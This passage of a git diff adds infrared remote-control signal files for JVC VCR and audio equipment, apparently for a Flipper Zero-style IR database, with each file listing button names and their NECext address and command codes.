42 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 46 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 47 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4E 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4F 00 00 00 +# +name: 0/REPEAT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 50 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 51 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 52 00 00 00 +# +name: 3/TUE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 52 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 53 00 00 00 +# +name: 4/WED +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 53 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 54 00 00 00 +# +name: 5/THU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 54 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 55 00 00 00 +# +name: 6/FRI +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 55 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 56 00 00 00 +# +name: 7/SAT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 56 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 57 00 00 00 +# +name: 8/1_ST/2_ND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 57 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 58 00 00 00 +# +name: 9/DAILY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 58 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 6C 00 00 00 +# +name: REC/PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 6C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/1,14.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/1,14.ir new file mode 100644 index 000000000..26e4025ab --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/1,14.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: SCROLL_DOWN +type: parsed +protocol: NECext +address: 01 0E 00 00 +command: 07 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 01 0E 00 00 +command: 0F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/131,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/131,-1.ir new file mode 100644 index 000000000..14995d0d8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/131,-1.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_STOP_[] +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 03 00 00 00 +# +name: TAPE_>> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 06 00 00 00 +# +name: TAPE_<< +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 07 00 00 00 +# +name: TAPE_PLAY_> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0C 00 00 00 +# +name: TAPE_PAUSE_ +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/163,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/163,-1.ir new file mode 100644 index 000000000..9dc85e822 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/163,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: SURR_REAR_ON/OFF(-) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 05 00 00 00 +# +name: FM/AM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 0B 00 00 00 +# +name: TV_SOUND +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 10 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 11 00 00 00 +# +name: AUDIO_POWER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 17 00 00 00 +# +name: FADE_MUTE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1C 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1F 00 00 00 +# +name: FM/AM_1 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 21 00 00 00 +# +name: FM/AM_2 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 22 00 00 00 +# +name: FM/AM_3 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 23 00 00 00 +# +name: FM/AM_4 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 24 00 00 00 +# +name: FM/AM_5 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 25 00 00 00 +# +name: FM/AM_6 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 26 00 00 00 +# +name: FM/AM_7/P +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 27 00 00 00 +# +name: FM/AM_8 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 28 00 00 00 +# +name: FM/AM_9 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 29 00 00 00 +# +name: FM/AM_10 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 2A 00 00 00 +# +name: FM/AM_10+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 2F 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3C 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3D 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3F 00 00 00 +# +name: SURR_DELAY_(+) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 48 00 00 00 +# +name: SURR_CENTER_MODE_(-) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 58 00 00 00 +# +name: SURR_TEST_(+) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: D7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/179,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/179,-1.ir new file mode 100644 index 000000000..02dca9f64 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/179,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 43 00 00 00 +# +name: CD_PLAY_> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4C 00 00 00 +# +name: CD_PAUSE_ +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4D 00 00 00 +# +name: CD_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 58 00 00 00 +# +name: CD_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 59 00 00 00 +# +name: TV_1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 61 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 62 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 63 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 64 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 65 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 66 00 00 00 +# +name: TV_7/P +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 67 00 00 00 +# +name: TV_8 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 68 00 00 00 +# +name: TV_9 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 69 00 00 00 +# +name: TV_10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6E 00 00 00 +# +name: TV_+10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6F 00 00 00 +# +name: CD_7/P +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 78 00 00 00 +# +name: CD_1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 79 00 00 00 +# +name: CD_2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7A 00 00 00 +# +name: CD_3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7B 00 00 00 +# +name: CD_4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7C 00 00 00 +# +name: CD_5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7D 00 00 00 +# +name: CD_6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/3,-1.ir new file mode 100644 index 000000000..958fee51a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/3,-1.ir @@ -0,0 +1,644 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: TV_TV/VCR +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: MONITOR_TV/VIDEO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: A_MONITOR_TV/VIDEO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: TV_TV/VIDEO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: TV_INPUT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: TV_MONITOR_(TV/VIDEO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: MONITOR_(TV/VIDEO) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: TV/VIDEO_MONITOR +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: (TV)_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: POWER_(TV) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: A_TV_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: TV_OPERATE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: TV_OPERATE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: POWER_(TV) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: TV_CH_V +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: (TV)_CHANNEL_V +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: TV_CH_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: TV_CHANNEL_V +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: A_TV_CH_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: TV_CH_-_(TV_PROG) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: TV_CH/SET_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: TV_CH_-- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: TV_PROG/(2)SET_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: TV_PROG_-_(CH_-) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: TV_CHANNEL_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: TV_CH_^ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: (TV)_CHANNEL_^ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: TV_CH_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: TV_CHANNEL_^ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: A_TV_CH_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: TV_CH_+_(2_SET_) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: TV_CH/SET_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: TV_PROG/(2)SET_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: TV_PROG_+_(CH_+) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: TV_CHANNEL_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: TV_AUDIO_MONITOR +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: TV_VOL_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: (TV)_VOLUME_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: A_TV_VOL_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: TV_VOLUME_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: VCR_VOLUME_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: TV_VOL_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: (TV)_VOLUME_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: A_TV_VOL_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: TV_VOLUME_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: TV_VOL_-- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: VCR_VOLUME_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: TV_0_(AUX) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: TV_0_(AUX) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: TV_0/AUX +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: TV_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: TV_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: TV_1_(ABC) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: TV_2_(DEF) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: TV_3_(GHI) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: TV_4_(JKL) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: TV_5_(MNO) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: TV_6_(PQR) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: TV_7_(STU) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: TV_8_(DAILY) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: TV_8_(DAILY_M-F) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: TV_8_(DAILY) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: TV_8_(VWX) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: TV_8/DAILY_(M-F) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: TV_9_(WEEKLY) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: TV_9_(WEEKLY) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: TV_9/WEEKLY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: TV_/// +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 9D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/5,1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/5,1.ir new file mode 100644 index 000000000..ddbf7320c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/5,1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_CMEMORY/ADD +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/64,-1.ir new file mode 100644 index 000000000..b97bab0d9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/64,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_TV/VIDEO +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0F 00 00 00 +# +name: TV_SELECT_(IN/OUT) +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 12 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 12 00 00 00 +# +name: VCR_VOLUME_+ +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: TV_CH/SET_+ +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: VCR_VOLUME_- +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: TV_CH/SET_- +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/67,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/67,-1.ir new file mode 100644 index 000000000..4a9de2ffa --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/67,-1.ir @@ -0,0 +1,3872 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 00 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 02 00 00 00 +# +name: VCR_REC +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 02 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: VCR_STOP_[] +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: A_STOP_[] +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: VCRA_STOP_[] +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: VIDEO_A_STOP_[] +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: VCR_A_STOP[] +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: EP/SP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: VCR_STOP[] +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 04 00 00 00 +# +name: A_VIDEO_REJECT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 04 00 00 00 +# +name: FF/SHUTTLE_SRCH_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: VCR_FF>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: VCR_FF_>>_/_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: FF/SRCH_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: A_FFWD_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: VCR_FF_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: FF/SHUT.SRCH_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: FF_>>/>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: VCRA_FFWD_>>/>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: VCRA_FF_>>_/_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: FFWD/SFWD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: VIDEO_A_>>/>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: VCR_A_FFWD_>>/>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: PROGRAM-CHECK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: SHTL_FWD/TV_VOL+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: VCR_FWD_>>/>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: VCR_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: REW/SHUTTLE_SRCH_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: VCR_REW_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: VCR_REW_<<_/_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: REW/SRCH_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: A_REW_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: REW/SHUT.SRCH_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: REW_< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: VCR_PLAY_> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: PLAY/X2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: REC_PLAY/X2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: A_PLAY/X2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: VCR_PLAY/X2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: VCRA_PLAY_> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: VIDEO_A_PLAY_> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: VCR_A_PLAY> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: VCR_PLAY> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: PAUSE/STILL_ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: VCR_PAUSE_ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: A_PAUSE/STILL_ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: VCR_PAUSE/STILL_ +type: 